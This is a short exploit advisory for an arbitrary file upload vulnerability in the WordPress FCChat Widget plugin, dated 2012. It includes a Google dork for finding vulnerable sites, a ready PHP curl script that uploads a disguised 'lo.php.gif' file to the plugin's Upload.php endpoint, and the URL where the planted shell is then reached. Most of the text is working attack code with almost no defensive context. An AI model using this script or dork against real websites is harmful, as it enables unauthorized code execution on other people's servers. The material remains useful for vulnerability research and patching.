WordPress FCChat Widget plugin versions 2.2.12.2 through 2.2.13.1 suffer from a remote shell upload vulnerability.
0638063cb46b9dac5fd57097067cad9c433262ac71905a4d3738d4c5b7a06be2
##################################################
# Description : Wordpress Plugins - FCChat Widget Arbitrary File Upload Vulnerability
# Version : 2.2.12.2 - 2.2.12.4 - 2.2.13.1
# Link : https://wordpress.org/extend/plugins/fcchat/
# Plugins : https://downloads.wordpress.org/plugin/fcchat.2.2.12.4.zip
# Date : 31-05-2012
# Google Dork : inurl:/wp-content/plugins/fcchat/
# Author : Sammy FORGIT - sam at opensyscom dot fr - https://www.opensyscom.fr
##################################################
Exploit :
PostShell.php
<?php
$uploadfile="lo.php.gif";
$ch =
curl_init("https://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/Upload.php?id=1");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell Access :
https://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/images/1_lo.php.gif
lo.php.gif
<?php
phpinfo();
?>